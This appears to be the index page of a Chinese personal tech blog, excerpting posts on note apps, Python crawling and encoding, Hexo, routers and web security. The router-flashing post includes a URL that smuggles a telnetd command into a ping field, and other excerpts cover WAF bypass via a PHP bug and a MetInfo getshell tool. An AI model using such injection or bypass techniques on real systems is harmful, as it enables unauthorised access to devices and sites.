我有段时间疯狂使用各类笔记软件，相信什么云记忆，第二大脑之类的说法。后来发现，没啥意义。记多了根本看不完，你在当时没时间看的，过后更没时间看。笔记唯一剩下的作用就是检索，但是你没看过的内容，你又怎么知道要检索啥呢？而且，自己维护的资料库，怎么也没办法跟google的检索比。善用google的搜索规则，比浪费时间剪藏保存一大堆网页有效得多。

PKM（个人知识管理）类软件收集(偶尔更新列表)

Sat, 21 Jan 2017 14:22:41 +0000

evernote(印象笔记)

Wiz

web高级开发的成长之路

Fri, 20 Jan 2017 22:53:41 +0000

读了这篇文章之后感觉蛮受启发的，在此分享一下，献给和我一样处于困惑的朋友。

正文如下：

hexo在github和coding.net部署并分流（一）

Tue, 10 Jan 2017 21:22:00 +0000

安装GIT和Node.JS

首先在自己的电脑上安装好git和node.js，这一步怎么做自己搜索，安装软件都是下一步下一步，应该不难,GIT安装完成后打开git cmd输入

1
2

git config --global user.name "Your Name"
git config --global user.email "email@example.com"

因为Git是分布式版本控制系统，所以，每个机器都必须自报家门：你的名字和Email地址。 **注意：**git config命令的–global参数，用了这个参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址。

Python异步爬虫的学习(一)

Sun, 11 Dec 2016 16:26:49 +0000

本文主要从一下几个方面进行说明:

什么是异步(Asynchronous)编程
为什么要使用异步编程？
如何利用Python实现异步

javbus爬虫-老司机你值得拥有

Tue, 06 Dec 2016 18:21:53 +0000

起因

有个朋友叫我帮忙写个爬虫，爬取javbus5上面所有的详情页链接，也就是所有的https://www.javbus5.com/SRS-055这种链接，我一看，嘿呀，这是司机的活儿啊，我绝对不能辱没我老司机的名声（被败坏了可不好），于是开始着手写了

构思

爬虫调度启动程序crawler.py
页面下载程序downloader.py
页面解析程序pageparser.py
数据库入库与去重管理程序controler.py

突破百度云限速与网页限制批量下载

Tue, 06 Dec 2016 14:33:26 +0000

百度云限速比较坑，现在基本200k左右 很多人都知道了，但是总有朋友问我，我说明一下

首先下载IDM(最好支持正版)

下载链接：百度云shaoit

开始下载：

一般的话，小文件直接打开浏览器就可以下载

大文件下载：

首先在chrome浏览器中装上一个User-Agent Switcher for (Google)Chrome插件,然后选择安卓手机，也就是打开这个的手机页面，然后直接用IDM下载

批量下载与外链获取

使用这个脚本，具体看链接内介绍

ProgrammingError- You must not use 8-bit bytestrings

Tue, 06 Dec 2016 14:31:14 +0000

问题出现：

You must not use 8-bit bytestrings unless you use a text_factory that can interpret 8-bit bytestrings (like text_factory = str). It is highly recommended that you instead just switch your application to Unicode strings.

产生原因：

问题在用Python的sqlite3操作数据库要插入的字符串中含有非ascii字符时产生，做插入的时候就报当前这个错误。

解决方法：

1. 按提示

1
2

connection = sqlite3.connect(...)
connection.text_factory = str

但是如果字符中出现非ascii字符，那么依然不能解决问题，会产生不可预知的乱码，这样可以参考 2

2. 以utf8的编码格式进行解码转为unicode编码做插入

cursor.execute('''
    INSERT INTO JAVBUS_DATA (姓名, 年龄)
    VALUES (?, ?)
    ''', ('张三'.decode('utf-8'), '22岁'.decode('utf-8')))

但是如果数据太长，这样一个一个敲挺麻烦的，下面是一个使用map函数简化的小例子

WAF攻防研究之四个层次Bypass WAF

Sun, 25 Sep 2016 17:06:30 +0000

绝对值得一看的技术文章

pdf下载链接

[via@破-见 ]

PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed

Sat, 24 Sep 2016 13:20:39 +0000

1. 背景介绍

今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，https://bugs.php.net/bug.php?id=69364。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值，其中之一，就是绕过当前各种云WAF的文件上传防御策略。

目前国内外流行的云WAF厂商有如百度云加速，360网站卫士，加速乐，云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点，我们成功利用该漏洞绕过了当前主流WAF的文件上传防御，例如百度云加速、360网站卫士、知道创于加速乐、安全狗。

接下来，我们以PHP为例，详细解析我们的绕过方法。

2. 绕过WAF的原理

根据PHP DOS漏洞原理，在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符’:’，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块，从而导致DOS。

基于Openwrt+Shadowsocks+ipv6实现校园网免流量无限时长上网

Sat, 24 Sep 2016 10:46:02 +0000

转载自Dyhube

简述

笔者利用笔记本电脑实现ipv6免费上网已经有一段时间了，原理是通过ipv6访问ipv4资源，在学校网络不限流量、不限时长、20兆带宽（我们学校ipv6限速上下对等20兆，没办法！）,电脑开热点全寝室共用，那真是爽翻天 !

OpenWRT路由器使用ipv6拨号上网教程

Thu, 22 Sep 2016 15:39:45 +0000

文章来源于群友，如有侵权，请联系我(aha971030@gmail.com)删除

原理介绍分析：

湖北E信地区可以使用ipv6拨号，好处是网络是上下对等不限速网络，也就是说，你的端口上限是多少，网上就可以达到多少，我测试很多次，一般在100M左右，但是遗憾的是，该拨号方式只能使用32位系统，且由于E信软件的兼容性问题，很容易导致蓝屏死机。经过大神的抓包分析，该拨号方式是使用ipv6的隧道协议传递ipv4信号。而幸运的是，现在的openwrt支持该协议。也就是说可以使用基于openwrt的路由器采用ipv6拨号。

操作步骤：

首先要明确是，该拨号方式也是需要进行账号换算的，首先启动路由器，并插上网线，在电脑上下载winscp这款软件，然后我们查询一下我们的ip地址，在电脑的dos界面输入ipconfig，找到以太网配置器

给斐讯K1刷机并拨号e信(湖北地区测试无问题)

Thu, 22 Sep 2016 13:38:21 +0000

◆购买斐讯k1路由器

路由器在天猫京东斐讯旗舰店都有售卖，我买的价格是159，不过有一张铃铛卡，一个月之后返还160元，相当于0元购

◆路由器刷不死Breed

1.路由与电脑有线连接好，输入192.168.2.1，完成设置

2.在浏览器地址栏输入：http://192.168.2.1/goform/Diagnosis?pingAddr=192.168.2.100|echo""|telnetd

(如果你的电脑ip不是192.168.2.100,请改成你电脑的ip(内网ip))

Visual Studio Code配置Python开发环境

Wed, 29 Jun 2016 21:29:45 +0000

1.安装Python插件

在VScode界面按Crtl+Shift+P或者F1

输入ext install

直接安装Python，也就是点击它，然后等待，安装好后会提示你重启

Python之Requests的高级用法

Fri, 10 Jun 2016 20:38:04 +0000

高级用法

本篇文档涵盖了Requests的一些更加高级的特性。

会话对象

会话对象让你能够跨请求保持某些参数。它也会在同一个Session实例发出的所有请求之间保持cookies。

会话对象具有主要的Requests API的所有方法。

我们来跨请求保持一些cookies:

s = requests.Session()

s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
r = s.get("http://httpbin.org/cookies")

print(r.text)
# '{"cookies": {"sessioncookie": "123456789"}}'

HTTP协议请求类型介绍

Fri, 10 Jun 2016 01:39:13 +0000

HTTP协议中共定义了八种方法或者叫“动作”来表明对Request-URI指定的资源的不同操作方式，具体介绍如下：

OPTIONS：

返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*‘的请求来测试服务器的功能性。

HEAD：

向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回。这一方法可以在不必传输整个响应内容的情况下，就可以获取包含在响应消息头中的元信息。

GET：

向特定的资源发出请求。

Python中的open和codecs.open

Fri, 10 Jun 2016 01:26:22 +0000

最近老被编码困扰，多次折腾之后，感觉python的编解码做得挺好的，只要了解下边的流程，一般都能解决

input文件(gbk, utf-8…) —-decode—–> unicode ——-encode——> output文件(gbk, utf-8…) 很多文本挖掘的package是在unicode上边做事的，比如nltk. 所以开始读入文件后要decode为unicode格式，可以通过下边两步：

1
2

f=open('XXXXX', 'r')
content=f.read().decode('utf-8')

更好的方法是使用codecs.open读入时直接解码：

1
2

f=codecs.open(XXX, encoding='utf-8')
content=f.read()

转自: http://f.dataguru.cn/thread-237116-1-1.html

Python之Requests的安装与基本使用

Thu, 09 Jun 2016 23:23:36 +0000

安装

使用 pip 安装Requests非常简单

`1`	`pip install requests`

或者使用 easy_install 安装

`1`	`easy_install requests`

获得源码

Requests 一直在Github上被积极的开发着

你可以克隆公共版本库:

`1`	`git clone git://github.com/kennethreitz/requests.git`

编码转换工具

Thu, 09 Jun 2016 22:41:55 +0000

闲来无事，写了款编码转换工具

以我的审美来看，界面应该算美丽

截图 :

MetInfo V5.1 GetShell一键化工具

Wed, 08 Jun 2016 22:40:32 +0000

漏洞解析：

config/config.inc.php

$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");

if(!$langoks)die('No data in the database,please reinstall.');

if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html');

if(count($met_langok)==1)$lang=$met_index_type;

$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";//看这里

$result = $db->query($query);

while($list_config= $db->fetch_array($result)){

	if($metinfoadminok)$list_config['value']=str_replace('"', '&#34;', str_replace("'", '&#39;',$list_config['value']));

	$settings_arr[]=$list_config;

	if($list_config['columnid']){

		$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];

	}else{

		$settings[$list_config['name']]=$list_config['value'];

	}

}

@extract($settings);

discuz 不能上传头像提示can not write to the data-tmp folder

Tue, 31 May 2016 23:56:06 +0000

discuz 不能上传头像提示can not write to the data/tmp folder

解释：

disucz头像上传不成功，提示data/tmp目录没有写入权限，这里的data/tmp是网站根目录uc_server/data/tmp这个目录，而不是根目录/data/tmp目录，其实/data下面本来没有tmp目录。

Many Website Of WallPaper

Tue, 31 May 2016 18:20:44 +0000

我在这里给大家推荐几个不错的壁纸网站

毕竟一张赏心悦目的壁纸能让你的工作效率提高不少

注意前方高能

一大波网站即将来袭

一系列如你所见

lamp服务器被人恶意绑定域名的解决办法

Sat, 28 May 2016 22:09:02 +0000

还没开始就被别人绑定了域名

事情的起因与发现

刚买了个服务器搭建了一个dz，想着域名还没备案，就先搭建了起来，然后在做DDOS测试时偶然发现服务器被别人恶意把域名绑定了

最初的解决方案

没管。。。。。。后来发现有影响，朋友也一直给我说叫我整下

利用重定向把恶意指向过来的域名指到别处

要利用301重定向，首先我们要在Apache上配置一下，Apache默认是不开启.htaccess的